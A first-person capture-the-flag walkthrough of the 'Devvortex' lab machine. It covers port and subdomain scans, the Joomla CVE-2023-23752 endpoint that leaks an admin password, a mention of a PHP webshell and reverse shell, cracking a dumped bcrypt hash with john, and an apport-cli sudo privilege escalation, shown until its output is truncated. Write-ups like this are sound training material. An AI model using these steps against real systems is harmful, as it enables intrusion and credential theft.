$ nmap -p- --min-rate 3000 10.129.37.255
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-30 10:25 EST
Nmap scan report for 10.129.37.255
Host is up (0.017s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Did a detailed scan for the HTTP port as well:
$ nmap -p 80 -sC -sV --min-rate 3000 10.129.37.255
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-30 10:26 EST
Nmap scan report for 10.129.37.255
Host is up (0.0074s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I added devvortex.htb to the /etc/hosts file.
Web Enum -> CVE-2023-23752 Disclosure
The website was a corporate website for a service provider:
There was nothing inherently interesting about this site, so I went ahead with a gobuster directory and wfuzz subdomain scan.
wfuzz picked up on a dev subdomain, whereas gobuster didn't pick up on much:
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.devvortex.htb' --hc=302 -u http://devvortex.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://devvortex.htb/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 501 L 1581 W 23221 Ch "dev"
Add this to the /etc/hosts file. This dev endpoint was looked to be another corporate site:
I checked the page source, and found a lot of references to a cassiopeia directory:
Googling for this led to Joomla! Content Management System showing up.
I checked online on how to enumerate this website, and found that visiting /administrator/manifests/files/joomla.xml would reveal the version running:
There are a number of vulnerabilities that affect this version of Joomla, most notably an unauthenticated information disclosure one.
Reading the script, it seems that visiting /api/index.php/v1/config/application?public=true would show a password, and it worked!
There was a user lewis, and using this password allowed me to sign in to the admin panel at /administrator.
Hacktricks tells me that RCE is possible from here by replacing a .php file with a webshell, similar to Wordpress.
After saving, I tested and found that RCE works:
From here, getting a reverse shell is easy.
Privilege Escalation
MySQL Enum -> User Creds
There is a user logan within this machine, and I cannot read the user flag yet.
www-data@devvortex:/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Sep 26 19:16 .
drwxr-xr-x 19 root root 4096 Oct 26 15:12 ..
drwxr-xr-x 3 logan logan 4096 Nov 21 11:04 logan
Since we had the password of lewis, I thought to check the MySQL database present:
www-data@devvortex:~/dev.devvortex.htb$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
<TRUNCATED>
www-data@devvortex:~/dev.devvortex.htb$ mysql -u lewis -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4019
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
From this database, I grabbed the hashed password of logan, then cracked it using john.
mysql> select * from sd4fg_users;
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:08 DONE (2023-11-30 10:51) 0.1203g/s 168.9p/s 168.9c/s 168.9C/s lacoste..harry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Using this password, I could su to logan.
Sudo Privileges -> Apport-CLI Exploit
logan can run apport-cli as the root user:
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
Checking the version, both the distro and version of the software were outdated and had a specific exploit for it:
I tried to use the application, and it kept telling me I needed to have a crash report.
logan@devvortex:~$ /usr/bin/apport-cli
No pending crash reports. Try --help for more information.
Based on this, I had to create a crash report which would be stored in /var/crash, which can be done like so:
sleep 10 &
killall -SIGSEGV sleep
Afterwards, following the exploit, the crash dump file will be located /var/crash, and I could access it and use option 'V':
logan@devvortex:/var/crash$ sudo /usr/bin/apport-cli -c _usr_bin_sleep.1000.crash
<TRUNCATED>
What would you like to do? Your options are:
S: Send report (29.9 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): V
<TRUNCATED> (This will generate a lot of output)
